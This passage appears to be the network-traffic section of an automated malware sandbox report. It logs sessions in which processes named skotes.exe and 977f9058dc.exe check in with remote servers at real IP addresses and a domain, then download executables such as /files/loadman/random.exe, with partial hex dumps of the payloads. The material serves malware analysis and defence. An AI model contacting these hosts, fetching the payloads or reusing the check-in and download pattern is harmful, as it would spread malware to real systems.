}, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 19, 2024 20:11:52.006743908 CET	4944	OUT	Data Raw: 66 6b 46 56 36 73 56 47 79 39 78 2b 50 2b 4e 42 6f 52 31 58 71 62 2b 50 38 41 34 44 5c 2f 57 6b 66 70 2b 50 39 44 51 61 55 2b 76 79 5c 2f 55 69 6f 6f 71 4f 54 74 2b 50 39 4b 44 51 6a 6f 6f 6f 6f 4f 67 6a 6b 37 66 6a 5c 2f 53 6f 36 6b 6b 37 66 6a Data Ascii: fkFV6sVGy9x+P+NBoR1Xqb+P8A4D\/Wkfp+P9DQaU+vy\/UiooqOTt+P9KDQjooooOgjk7fj\/So6kk7fj\/So6AI5O341HUr9Px\/xqKg6COTt+P8ASoZe\/wDvf41aqFun38\/5\/EfnQaU+vy\/Uq0VYqvWlPr8v1Oin1+X6kL\/eP4fyFNqxVdt5PCflwPyqvf8A7v4mhE\/X8P6mmVYqvWJ0Femv90\/h\/MVNJ2\/H+lR
Dec 19, 2024 20:11:52.006804943 CET	12360	OUT	Data Raw: 5c 2f 35 73 45 5c 2f 38 41 67 6e 2b 54 6e 37 58 75 50 4c 34 65 65 45 50 62 5c 2f 58 58 50 46 5c 2f 35 67 6f 50 72 72 5c 2f 77 41 4d 65 4d 31 48 4a 32 5c 2f 47 70 4b 52 67 57 5c 2f 50 4e 66 39 45 35 5c 2f 67 77 51 55 56 4c 73 48 76 38 41 35 5c 2f Data Ascii: \/5sE\/8Agn+Tn7XuPL4eeEPb\/XXPF\/5goPrr\/wAMeM1HJ2\/GpKRgW\/PNf9E5\/gwQUVLsHv8A5\/CjYPf\/AD+FAEVf0c\/8ELmI8C\/tEgdvFnw9P56P4p\/+Jr+cvYPf\/P4V+8X\/AASW+Ia\/CX9mr9uL4pSWn2+P4Z+H7L4gvYkuFvE8HeAPiD4ia0byyr7bkaYYTsdWw52spwa\/lz6X+Fr4\/wAHquBwsPa4nG
Dec 19, 2024 20:11:52.006902933 CET	2472	OUT	Data Raw: 38 33 5c 2f 56 79 53 5c 2f 75 4f 6e 50 5c 2f 41 4e 63 65 76 36 6f 66 4c 38 7a 2b 5c 2f 77 44 39 73 76 38 41 55 38 66 35 5c 2f 4d 30 39 66 39 79 54 33 38 7a 39 78 5c 2f 6e 67 2b 33 4e 48 79 79 4e 4d 37 70 76 66 7a 66 33 58 2b 65 33 2b 65 42 57 5a Data Ascii: 83\/VyS\/uOnP\/ANcev6ofL8z+\/wD9sv8AU8f5\/M09f9yT38z9x\/ng+3NHyyNM7pvfzf3X+e3+eBWZ0DPLdfO\/vx\/9Mv1\/rRI0yyJD\/B\/z8f1wKEj3b9jl\/wDtr7frnNN2\/MjpDgf6qXzP8\/lWntPL8f8AgAQx\/vJPL2RzJH9ol80\/uPO7\/wCOafJn93v+5\/n\/AEW7qXcn3Ngx5v8Ay7xeR\/nNQxyPj+4
Dec 19, 2024 20:11:52.006936073 CET	2472	OUT	Data Raw: 57 66 44 50 69 4b 30 75 66 43 6e 69 58 54 39 4a 38 52 32 6c 35 70 74 76 38 4e 5c 2f 78 46 33 77 32 57 49 77 4f 47 6c 78 5a 67 36 63 38 7a 71 54 70 5a 66 56 71 34 58 4d 71 57 44 78 73 36 65 50 6f 5a 58 4c 36 72 6a 36 6d 44 68 67 61 38 56 6d 47 4b Data Ascii: WfDPiK0ufCniXT9J8R2l5ptv8N\/xF3w2WIwOGlxZg6c8zqTpZfVq4XMqWDxs6ePoZXL6rj6mDhga8VmGKwuDU6eIlCVfFYWEZN4mh7T9Jj4EeLc8PmOJp8FZhVhlFGNfNaNHGZRWx+XUpYF5nz4zLKWYzzGhbARqYqSqYWMo0aVeUlH2FZQ+oP2Zf2vfiL+zbqv2bT3fxR8Pr6483WvAmo3kkNoZXI36loF4Y7k6Fq\/H72aK3
Dec 19, 2024 20:11:52.006977081 CET	2472	OUT	Data Raw: 30 37 51 4e 54 38 4d 33 33 68 61 33 68 38 52 66 47 66 39 6e 44 34 45 57 43 2b 49 64 63 31 50 54 58 66 78 74 2b 31 48 72 66 69 33 51 50 68 76 4d 76 38 41 5a 6e 68 76 58 55 62 52 4c 65 2b 38 46 36 75 5c 2f 69 4f 36 79 75 6f 57 64 73 31 71 2b 6c 36 Data Ascii: 07QNT8M33ha3h8RfGf9nD4EWC+Idc1PTXfxt+1Hrfi3QPhvMv8AZnhvXUbRLe+8F6u\/iO6yuoWds1q+l6VrMzzQQW\/he1z8X\/Fnws8GeCNR8F6nq\/xj+EHiP41+Cbw+J7+20G48K+F7vxtoeo6ff6leeGraex8Ry+NPAOtfD7T7I6fLp2oeNbvQtNtdWksdZtdTP5Hj\/DH6GuV4zMsBmNDJcHjMnpzq5lQr8YccweDhSyN
Dec 19, 2024 20:11:52.126589060 CET	2472	OUT	Data Raw: 5c 2f 6e 33 39 2b 51 36 59 62 66 50 38 41 52 46 50 35 31 32 49 5c 2f 70 7a 5c 2f 6a 32 71 46 66 34 38 35 38 7a 5c 2f 70 70 5c 2f 6e 31 7a 5c 2f 77 44 71 71 35 73 2b 5c 2f 77 42 58 66 5c 2f 50 35 66 6c 79 4b 68 57 4a 4e 79 4a 73 32 66 38 39 63 5a Data Ascii: \/n39+Q6YbfP8ARFP512I\/pz\/j2qFf4858z\/pp\/n1z\/wDqq5s+\/wBXf\/P5flyKhWJNyJs2f89cZx\/P\/P0oOqnU\/rv5r+v+BF5f\/fefN\/Tp0\/p7VBJ+8VE++5x5v1\/P0q1\/Gfk39PX0\/wA8\/wBKg+Qsg\/13l\/8AbAf8ev5fz\/Sg6SsN8f8Ayx3nn\/P+cfzzDtf5N6fJ\/n3\/AM\/ysybP7nXP\/LXp
Dec 19, 2024 20:11:52.126625061 CET	7416	OUT	Data Raw: 2b 66 46 41 45 63 65 39 64 6d 55 32 65 5a 2b 36 5c 2f 65 66 34 66 34 66 72 55 4c 4d 6b 55 6e 5c 2f 4c 54 5c 2f 41 4a 35 64 5c 2f 49 2b 7a 5c 2f 77 42 63 5c 2f 77 41 36 73 74 4a 5c 2f 47 68 6a 64 35 4d 5c 2f 75 35 50 38 41 50 70 5c 2f 6e 73 57 52 Data Ascii: +fFAEce9dmU2eZ+6\/ef4f4frULMkUn\/LT\/AJ5d\/I+z\/wBc\/wA6stJ\/Ghjd5M\/u5P8APp\/nsWRxvHG4+\/3l4oOgh+VNm\/y9n\/PP+X\/16X955bps\/wCWX72Tzf8AyV\/z9aSNfubF2OZc+XJx\/k0L8y7N8f8A0y8zr+o\/48a09p5fj\/wAP1++PWmXms\/B\/wAfaZYR+deXmhvFBGM\/O4ubZ8fKGP3VPQGv
Dec 19, 2024 20:11:52.126693010 CET	2472	OUT	Data Raw: 33 70 52 55 7a 4a 76 39 66 79 7a 78 54 66 4c 39 5c 2f 30 5c 2f 2b 76 58 39 71 48 2b 66 66 74 50 4c 38 66 38 41 67 46 66 50 37 7a 5c 2f 50 70 53 62 44 37 66 35 5c 2f 43 70 61 4b 44 51 69 32 48 32 5c 2f 7a 2b 46 4d 71 78 55 66 6c 2b 5c 2f 36 66 5c Data Ascii: 3pRUzJv9fyzxTfL9\/0\/+vX9qH+fftPL8f8AgFfP7z\/PpSbD7f5\/CpaKDQi2H2\/z+FMqxUfl+\/6f\/XoAjqPy\/f8AT\/69SUUF878v6+ZXoqTy\/f8AT\/69R0HX7\/8Ad\/Eay7vwqGrFRMu38\/yoKGVCy7fcVNRQBXop8in+AH8s\/wCSaZQdBXoqTH38\/wCf4v8ACjy\/f9P\/AK9AEdRydvxqSmv90\/h\/MUHQ
Dec 19, 2024 20:11:52.126704931 CET	2472	OUT	Data Raw: 5c 2f 43 6d 65 5a 4a 38 6a 5c 2f 38 41 58 78 2b 38 36 63 2b 6e 50 72 51 42 57 5c 2f 32 30 2b 30 54 50 35 58 34 64 65 5c 2f 76 5c 2f 41 45 2b 6d 54 45 64 6e 6d 4f 5c 2f 2b 6a 37 4f 73 52 5c 2f 35 37 44 6e 5c 2f 39 64 57 4a 50 4f 38 34 46 5c 2f 4b Data Ascii: \/CmeZJ8j\/8AXx+86c+nPrQBW\/20+0TP5X4de\/v\/AE+mTEdnmO\/+j7OsR\/57Dn\/9dWJPO84F\/K\/d\/wCqHlZ6f8vXf8\/xph8z+BI3\/e\/y68UHVS6f4f8AIrM33\/X\/AJa9s3HsaYxWT7iR7JP9X5cX7\/3\/AMB+XvVny0WQ+cibJP3v7z\/ljcf54qs2\/wC\/s8v97+6\/e\/8AgX\/n8u9BsQyM7eS+yP8A
Dec 19, 2024 20:11:52.170628071 CET	27192	OUT	Data Raw: 5c 2f 38 61 6a 6c 37 5c 2f 77 43 37 5c 2f 6a 55 31 46 42 30 46 65 6d 37 46 39 50 35 5c 2f 34 31 4e 4a 32 5c 2f 48 2b 6c 52 30 41 56 5c 2f 4c 6b 39 66 30 48 2b 4e 46 57 4b 6a 5c 2f 35 5a 5c 2f 35 5c 2f 76 56 66 4f 5c 2f 4c 2b 76 6d 64 42 42 68 50 Data Ascii: \/8ajl7\/wC7\/jU1FB0Fem7F9P5\/41NJ2\/H+lR0AV\/Lk9f0H+NFWKj\/5Z\/5\/vVfO\/L+vmdBBhPb8\/wD69Nfr+H9TUtRydvx\/pRzvy\/r5mlPr8v1I6KKKg0Cq9WKjk7fj\/SgCOiiiug6CPnZ+P6Z\/nn9KjqZ\/un8P5ioaAI5O34\/0quy9x+P+NXKY\/T8f6Gg6Cnsf2\/L\/AOypoXb6\/jVmo5O34\/0rSn1
Dec 19, 2024 20:11:55.346914053 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 19:11:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 61 4d 63 49 55 6c 61 45 46 50 63 65 43 61 66 50 31 37 33 34 36 33 35 35 31 34 Data Ascii: aMcIUlaEFPceCafP1734635514

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49897	147.45.113.159	80	1984	C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:55.713515043 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=aMcIUlaEFPceCafP1734635514 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 19, 2024 20:11:57.361155987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 19:11:57 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 19, 2024 20:11:57.361232042 CET	224	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y26
Dec 19, 2024 20:11:57.361242056 CET	1236	IN	Data Raw: ad 34 aa 23 bf ad 17 e6 2a 10 97 19 92 72 47 53 4c f0 19 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 Data Ascii: 4#*rGSLZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgI
Dec 19, 2024 20:11:57.361464977 CET	1236	IN	Data Raw: 7e a3 a2 b8 69 73 67 3f 48 2f 0d a8 bf 56 dc 8d af d6 b2 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 Data Ascii: ~isg?H/Vaw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\z
Dec 19, 2024 20:11:57.361475945 CET	448	IN	Data Raw: c9 cc c3 19 7b b0 d2 46 b9 b4 20 24 9a d8 ff 55 df 52 db de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b Data Ascii: {F $UR"S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7
Dec 19, 2024 20:11:57.361788034 CET	1236	IN	Data Raw: 97 2d 22 f8 24 23 2a a6 8b d6 bf c3 c0 8d 83 b0 9b bd 5b c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 Data Ascii: -"$#*[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>
Dec 19, 2024 20:11:57.361802101 CET	1236	IN	Data Raw: c7 2e 72 99 ae 39 a7 3f 8e 79 8c 45 2a b4 37 c7 d2 d2 de 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d Data Ascii: .r9?yE*7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\
Dec 19, 2024 20:11:57.361813068 CET	1236	IN	Data Raw: af 57 a5 1e 15 3b 3b 2b 87 8b 40 7c e4 43 7a 6c 9e 13 a3 da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f Data Ascii: W;;+@\|Czl]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>
Dec 19, 2024 20:11:57.361826897 CET	1236	IN	Data Raw: f7 fc 7d c5 32 a8 1f 65 4a 3f 6c c9 6f 0c 34 95 bc 9e 00 0a 8e 6a c2 e7 5f 63 40 06 56 32 1c 51 57 87 f2 07 fc 76 b0 5b d9 9f 56 95 63 6a 40 2c af 46 ae 83 9e 80 02 58 37 03 4e 64 d1 48 e4 24 e2 21 25 e4 a4 b8 85 b6 d2 32 e5 aa 4b 89 ce cd ed 0e Data Ascii: }2eJ?lo4j_c@V2QWv[Vcj@,FX7NdH$!%2KV?zc%(4N2Bw3\|0.h lLjUazA&>'Kr^Qm_tR[WBA5hkdN48\dOo
Dec 19, 2024 20:11:57.362468958 CET	1236	IN	Data Raw: 26 c8 b6 a2 c5 22 39 c3 ec 0c 3a 29 07 84 cc af 06 04 14 fd a8 95 4f 88 42 b6 4e 10 49 65 cb 02 5a c0 59 f6 d2 e4 96 2e 90 f7 20 e4 9f ab 01 7a 4d d8 36 88 e3 96 fb 67 a2 a2 b1 28 31 73 7a 85 3a e5 81 c9 5c 80 6b e4 ea 6b 77 10 47 30 73 8e c7 19 Data Ascii: &"9:)OBNIeZY. zM6g(1sz:\kkwG0sCQy~>/r8Wni&*dn623aUK9giUhr!Eaa<,402CJTxBlfRT5wVq
Dec 19, 2024 20:11:57.481800079 CET	1236	IN	Data Raw: 6c 28 8a 38 e4 c2 4c 04 40 d5 30 6f 6c 82 5b 76 99 fe 2c cb f2 f6 ba cd c5 2b 8a 49 95 b8 bc f9 62 13 c8 56 2c 93 a6 fc 66 dc e1 69 7c 5f f7 8c 2a 7d 2a 3d 73 dd 9b 9c 9e ef e2 f5 03 e1 ac 5c d4 26 2e 8a 24 46 81 59 40 5f 57 bb 20 01 25 2c e3 ec Data Ascii: l(8L@0ol[v,+IbV,fi\|_}=s\&.$FY@_W %,`yN!udy[Fu02Y$!'Dw=OiafbsBCb"c(^_ uNY``sZ5}JBg;HIJa>\w{_)E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49904	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:58.724548101 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 38 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017823001&unit=246122658369
Dec 19, 2024 20:12:00.056862116 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49909	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:12:00.180397034 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:12:01.507936001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:12:01 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 19, 2024 20:12:01.508024931 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$
Dec 19, 2024 20:12:01.508044004 CET	1236	IN	Data Raw: e8 d4 80 0b 00 eb c2 66 90 0f b7 51 18 66 81 fa 0b 01 74 37 66 81 fa 0b 02 75 94 83 b9 84 00 00 00 0e 76 8b 8b 91 f8 00 00 00 31 c0 85 d2 0f 95 c0 e9 79 ff ff ff 8d 76 00 c7 04 24 e0 93 4b 00 e8 64 88 0b 00 31 c0 83 c4 1c c3 83 79 74 0e 0f 86 5a Data Ascii: fQft7fuv1yv$Kd1ytZ1Hf,ATD$@T@T@KD$@TD$D$@T$@T,fL$1qUWVUSQx5ATd1x5HVT9
Dec 19, 2024 20:12:01.508198977 CET	224	IN	Data Raw: 46 0c 85 c0 74 0e 6a 01 50 ff 76 10 e8 64 e3 00 00 83 c4 0c 5e 5d c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 55 89 e5 8b 45 08 8b 08 85 c9 74 0e 6a 01 51 ff 70 04 e8 39 e3 00 00 83 c4 0c 5d c3 0f 1f 40 00 55 89 e5 53 57 56 50 8b 45 08 80 38 03 Data Ascii: FtjPvd^]f.@UEtjQp9]@USWVPE8u7xwtSFtvPSjjW^_[]EFtvPSjjWufDUSWVPAtjPv
Dec 19, 2024 20:12:01.508272886 CET	1236	IN	Data Raw: 83 c4 0c 8b 5e 30 8b 46 2c 85 db 89 45 f0 74 31 8b 45 f0 8d 78 08 eb 13 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 83 c7 14 4b 74 16 8b 47 fc 85 c0 74 f3 6a 01 50 ff 37 e8 59 e2 00 00 83 c4 0c eb e4 8b 46 28 85 c0 74 14 c1 e0 02 8d 04 80 6a 04 50 ff Data Ascii: ^0F,Et1Exf.KtGtjP7YF(tjPu<FHPF4=ttjPv8rtvIFrtv4Frtv\Vz^_[]F4tjPv8s
Dec 19, 2024 20:12:01.508485079 CET	1236	IN	Data Raw: 44 01 d8 39 f8 0f 83 c4 02 00 00 0f b6 0c 06 31 c0 ba 01 00 00 00 0f a5 d0 d3 e2 f6 c1 20 b9 00 00 00 00 0f 45 c2 0f 45 d1 23 44 24 2c 23 54 24 50 09 c2 74 bc 8b 4c 24 28 8b 54 24 20 89 f0 39 d1 89 d6 8d 14 18 0f 47 f1 8b 4c 24 30 89 f0 89 74 24 Data Ascii: D91 EE#D$,#T$PtL$(T$ 9GL$0t$<9Gf9tL<\$9'\$$x:t+\$(t$4D$ \|$Xf.fD$(\|$t$4@9D$ s:H;D$09L$$:tD$X\$L
Dec 19, 2024 20:12:01.508497000 CET	448	IN	Data Raw: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 44 24 08 89 44 24 08 01 f0 53 ff 74 24 20 50 e8 d3 71 0b 00 83 c4 0c 8b 45 10 01 de 29 f7 89 74 24 18 39 c7 89 c7 0f 83 13 fe ff ff 57 56 8d 44 24 18 50 e8 97 71 00 00 83 c4 0c 8b 44 24 14 8b 74 24 18 8b Data Ascii: .@D$D$St$ PqE)t$9WVD$PqD$t$}E\|$L$@)D$)9sD$QWPUqL$\|$L$PSQNqD$T\|$D$xe^_[]t$<K9G(\$(\|$K9G
Dec 19, 2024 20:12:01.508734941 CET	1236	IN	Data Raw: 53 57 56 83 ec 24 e8 a2 2a 00 00 8d 45 d0 6a 0c 68 b6 f1 4b 00 6a 1a 68 9c f1 4b 00 50 e8 db ad 00 00 83 c4 14 8b 7d d8 8b 75 d0 8b 5d d4 83 ff 07 77 17 85 ff 74 56 31 d2 0f 1f 40 00 80 3c 13 00 74 17 42 39 d7 75 f5 eb 43 57 53 6a 00 e8 8a be 09 Data Ascii: SWV$*EjhKjhKP}u]wtV1@<tB9uCWSjt3tDu]}UEhKhLKPjj(s}u]}EPSjj$=]h5Rjh3
Dec 19, 2024 20:12:01.508922100 CET	1236	IN	Data Raw: f2 0f 10 45 e0 f2 0f 10 8d 24 fe ff ff f2 0f 10 55 b0 89 85 48 ff ff ff 8b 85 2c fe ff ff f2 0f 11 85 40 ff ff ff f2 0f 11 8d 4c ff ff ff f2 0f 10 8d 40 fe ff ff 89 85 54 ff ff ff 8b 45 b8 f2 0f 11 95 58 ff ff ff 89 85 60 ff ff ff 8b 85 48 fe ff Data Ascii: E$UH,@L@TEX`Hdhlpxjjj@P@P]H@@tjPDLtjPP{XtjP\
Dec 19, 2024 20:12:01.508935928 CET	448	IN	Data Raw: f6 89 87 48 01 00 00 89 8f 4c 01 00 00 8b 4d ec 89 da e8 8e 4f 00 00 eb a8 66 2e 0f 1f 84 00 00 00 00 00 66 90 c1 e8 1c 3b 45 dc 72 17 e9 31 0c 00 00 0f 1f 00 c1 e8 1d 83 c8 08 3b 45 dc 0f 83 18 0c 00 00 8b 8d 2c ff ff ff 8b 1c 81 83 fb 7f 77 33 Data Ascii: HLMOf.f;Er1;E,w3H;@a@P5gMf.@s?@Aos-@?$?AB:
Dec 19, 2024 20:12:01.627712965 CET	1236	IN	Data Raw: 83 c4 0c ff 0f 75 15 ff 4f 04 75 10 6a 08 68 58 01 00 00 57 e8 ac cb 00 00 83 c4 0c 8d b5 00 fe ff ff 6a 0c 68 f0 8f 50 00 6a 30 68 c0 8f 50 00 56 e8 5f a2 00 00 83 c4 14 8d 85 fc fe ff ff 89 b5 40 fe ff ff c7 85 44 fe ff ff 60 21 40 00 c7 85 40 Data Ascii: uOujhXWjhPj0hPV_@D`!@@PDPH@L`!@HL@QPEEjhPjyhPPjh!Phh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49922	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
